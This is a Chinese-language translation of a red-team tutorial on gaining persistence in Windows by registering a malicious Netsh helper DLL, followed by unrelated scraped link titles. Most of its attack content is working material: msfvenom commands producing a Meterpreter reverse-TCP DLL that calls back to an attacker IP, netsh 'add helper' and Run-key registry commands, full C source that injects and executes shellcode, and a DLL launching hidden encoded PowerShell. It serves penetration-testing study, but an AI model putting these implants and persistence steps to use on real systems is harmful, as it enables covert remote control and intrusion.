Netsh是Windows实用程序,管理员可以使用它来执行与系统的网络配置有关的任务,并在基于主机的Windows防火墙上进行修改。可以通过使用DLL文件来扩展Netsh功能。此功能使红队可以使用此工具来加载任意DLL,以实现代码执行并因此实现持久性。但是,此技术的实现需要本地管理员级别的特权。

可以通过Metasploit Framework 的“ msfvenom ”实用程序生成任意DLL文件。

  1. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.2.21 LPORT=4444 -f dll > /tmp/pentestlab.dll

生成恶意DLL

可以通过Meterpreter的上载功能或命令和控制(C2)支持的任何其他文件传输功能将DLL文件传输到目标主机。

上载恶意DLL

“添加帮手”可以用来注册用的DLL “netsh的 ”实用工具。

  1. netsh
  2. add helper path-to-malicious-dll

添加助手DLL

每次netsh实用程序启动时,都会执行DLL,并且将建立通信。

Netsh Helper DLL – Meterpreter

但是,默认情况下,netsh没有计划自动启动。创建将在Windows启动期间执行实用程序的注册表项将在主机上创建持久性。这可以直接从Meterpreter会话或Windows Shell中完成。

  1. reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\Windows\SysWOW64\netsh"
  2. reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run\\ -v pentestlab -d 'C:\Windows\SysWOW64\netsh'

创建注册表运行密钥

注册表运行键的替代方法是,可以使用多种其他方法来启动实用程序,例如创建服务或计划任务。

击败一家总部位于荷兰的IT安全公司,该公司率先在其Github存储库中发布概念证明DLL 。DLL是由Marc Smeets用C编写的,可以对其进行修改以包含自定义的shellcode。Metasploit Framework实用程序“ msfvenom ”可用于生成各种语言的shellcode。

  1. msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp -b '\x00' -f c

C Shellcode – Netsh

可以将生成的shellcode注入到Netsh Helper DLL代码中。

  1. #include <stdio.h>
  2. #include <windows.h> // only required if you want to pop calc
  3. #ifdef _M_X64
  4. unsigned char buf[] = "\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb";
  5. #else
  6. unsigned char buf[] = "\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb";
  7. #endif
  8. // Start a separate thread so netsh remains useful.
  9. DWORD WINAPI ThreadFunction(LPVOID lpParameter)
  10. {
  11. LPVOID newMemory;
  12. HANDLE currentProcess;
  13. SIZE_T bytesWritten;
  14. BOOL didWeCopy = FALSE;
  15. // Get the current process handle
  16. currentProcess = GetCurrentProcess();
  17. // Allocate memory with Read+Write+Execute permissions
  18. newMemory = VirtualAllocEx(currentProcess, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  19. if (newMemory == NULL)
  20. return -1;
  21. // Copy the shellcode into the memory we just created
  22. didWeCopy = WriteProcessMemory(currentProcess, newMemory, (LPCVOID)&buf, sizeof(buf), &bytesWritten);
  23. if (!didWeCopy)
  24. return -2;
  25. // Yay! Let's run our shellcode!
  26. ((void(*)())newMemory)();
  27. return 1;
  28. }
  29. // define the DLL handler 'InitHelpderDll' as required by netsh.
  30. // See https://msdn.microsoft.com/en-us/library/windows/desktop/ms708327(v=vs.85).aspx
  31. extern "C" __declspec(dllexport) DWORD InitHelperDll(DWORD dwNetshVersion, PVOID pReserved)
  32. {
  33. //make a thread handler, start the function as a thread, and close the handler
  34. HANDLE threadHandle;
  35. threadHandle = CreateThread(NULL, 0, ThreadFunction, NULL, 0, NULL);
  36. CloseHandle(threadHandle);
  37. // simple testing by starting calculator
  38. system ("start calc");
  39. // return NO_ERROR is required. Here we are doing it the nasty way
  40. return 0;
  41. }

Netsh帮助程序DLL

与上述方法类似,rtcrowley在他的Github存储库中发布了该方法的PowerShell版本。以下代码可用于执行PowerShell Base64编码的有效负载,并支持两个选项。

  1. #include <stdio.h>
  2. #include <windows.h>
  3. DWORD WINAPI YahSure(LPVOID lpParameter)
  4. {
  5. //Option 1: Quick and simple. Opens 1 PS proc & briefly displays window. Set payload to b64 unicode.
  6. system("start C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -win hidden -nonI -nopro -enc \
  7. SQBmACgAJABQAFMAVgBlAHIAcwBJAE8AbgBUAEEAQgBsAGUALgBQAFMAVgBFAFIAcwBpAG8ATgAuACYAIAAkAFIAIAAkAGQAYQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==");
  8. //Option 2: Execute loaded b64 into a reg key value. Will spin up a few etra procs, but will not open an extra window.
  9. //system("C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -c \
  10. $x=((gp HKLM:SOFTWARE\\Microsoft\\Notepad debug).debug); \
  11. powershell -nopro -enc $x 2> nul");
  12. return 1;
  13. }
  14. //Custom netsh helper format
  15. extern "C" __declspec(dllexport) DWORD InitHelperDll(DWORD dwNetshVersion, PVOID pReserved)
  16. {
  17. HANDLE hand;
  18. hand = CreateThread(NULL, 0, YahSure, NULL, 0, NULL);
  19. CloseHandle(hand);
  20. return NO_ERROR;
  21. }

Netsh Helper DLL – PowerShell方法

执行“ netsh ”实用程序并使用“ add helper ”命令加载系统中的两个DLL都将执行集成的有效负载。

  1. netsh
  2. add helper C:\Users\pentestlab\Desktop\NetshHelperBeacon.dll
  3. add helper C:\Users\pentestlab\Desktop\NetshPowerShell.dll

Netsh助手DLL

Empire和Metasploit的“ multi / handler ”模块可用于接收来自两个DLL的通信。

Netsh助手DLL PowerShell

Netsh助手DLL Meterpreter

当执行“ 添加帮助程序 ”命令以加载DLL文件时,将在以下位置创建注册表项。

  1. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh

Netsh注册表项

应该注意的是,某些可能安装在受感染系统上的VPN客户端可能会自动“ netsh ” 启动,因此可能不需要使用其他方法进行持久化。

译文声明:本文由Bypass整理并翻译,仅用于安全研究和学习之用。

原文地址:https://pentestlab.blog/2019/10/29/persistence-netsh-helper-dll/

Window权限维持(十):Netsh Helper DLL的更多相关文章

  1. window权限 及c++实现 【网摘】(转)

    from : http://blog.csdn.net/zipper9527/article/details/6256459 http://www.lihuasoft.net/article/show ...

  2. Window权限维持(六):BITS Jobs

    Windows操作系统包含各种实用程序,系统管理员可以使用它们来执行各种任务.这些实用程序之一是后台智能传输服务(BITS),它可以促进文件到Web服务器(HTTP)和共享文件夹(SMB)的传输能力. ...

  3. Window权限维持(一):注册表运行键

    在红队行动中在网络中获得最初的立足点是一项耗时的任务.因此,持久性是红队成功运作的关键,这将使团队能够专注于目标,而不会失去与指挥和控制服务器的通信.在Windows登录期间创建将执行任意负载的注册表 ...

  4. Mysql-学习笔记(==》权限管理 十 三)

    -- 用户与权限管理-- 查看当前服务器上的所有账号密码主机SELECT USER,PASSWORD,HOST FROM mysql.user; -- 设置账号密码SET PASSWORD=PASSW ...

  5. Android破解学习之路(十六)—— dll破解的IL指令

    IL指令介绍 IL是.NET框架中中间语言(Intermediate Language)的缩写. 使用.NET框架提供的编译器可以直接将源程序编译为.exe或.dll文件,但此时编译出来的程序代码并不 ...

  6. DDD领域模型数据访问权限之权限(十二)

    实现权限的领域对象:BAS_Permission public partial class BAS_Permission:AggreateRoot { private IRepository<B ...

  7. DDD领域模型数据访问权限之用户权限(十)

    BAS_PRService岗位和角色服务: public class BAS_PRService { //岗位 private IRepository<BAS_Post> ireposit ...

  8. C#:使用Window自带函数(如:user32.dll)

    [DllImport("user32.dll", EntryPoint = "GetScrollInfo", CallingConvention = Calli ...

  9. Window权限维持(九):端口监视器

    后台打印程序服务负责管理Windows操作系统中的打印作业.与服务的交互通过打印后台处理程序API执行,该API包含一个函数(AddMonitor),可用于安装本地端口监视器并连接配置.数据和监视器文 ...

随机推荐

  1. Leakcanary原理浅析

    LeakCanary是Android内存泄漏的框架,作为一个"面试常见问题",它一定有值得学习的地方,今天我们就讲一下它.作为一名开发,我觉得给人讲框架或者库的原理,最好先把大概思 ...

  2. Java开发桌面程序学习(五)——文件选择器和目录选择器的使用

    选择器的使用 DirectoryChooser目录选择器官方文档 FileChooser文件选择器官方文档 文件选择器的使用 JavaFx中有个FileChoser,可以打开一个对话框来选择文件 Fi ...

  3. C# WebClient,HttpClient,WebRequest

    static void WebClientDemo() { string url = "https://www.cnblogs.com/Fred1987/p/11843418.html&qu ...

  4. VS Code 快捷键 && 常用插件

    常用插件    分类 插件名称 说明 开发 C# C#语言 C# Extensions C#扩展功能(添加类,接口,智能提示) C# XML Documentation Comments 代码添加注释 ...

  5. Java内存模型以及happens-before规则

    本人免费整理了Java高级资料,涵盖了Java.Redis.MongoDB.MySQL.Zookeeper.Spring Cloud.Dubbo高并发分布式等教程,一共30G,需要自己领取.传送门:h ...

  6. 从实例一步一步入门学习SpringCloud的Eureka、Ribbon、Feign、熔断器、Zuul的简单使用(附代码下载)

    场景 SpringCloud -创建统一的依赖管理: https://blog.csdn.net/BADAO_LIUMANG_QIZHI/article/details/102530574 Sprin ...

  7. 结对编程(Java实现)

    一.Github项目地址:https://github.com/qiannai/CreateArithmetic 二.PSP2.1表格: PSP2.1 Personal Software Proces ...

  8. STL关联容器的基本操作

    关联容器 map,set map map是一种关联式容器包含 键/值 key/value 相当于python中的字典不允许有重复的keymap 无重复,有序 Map是STL的一个关联容器,它提供一对一 ...

  9. KETTLE入门教程-单表读取

    kettle初探 Kettle简介:Kettle是一款国外开源的ETL工具,纯java编写,可以在Window.Linux.Unix上运行,数据抽取高效稳定.Kettle 中文名称叫水壶,该项目的主程 ...

  10. Requests 详解

    什么是Requests Requests是用Python语言编写,基于urllib,他比urllib更加方便,可以节约我们的大量工作,完全满足HTTP测试需求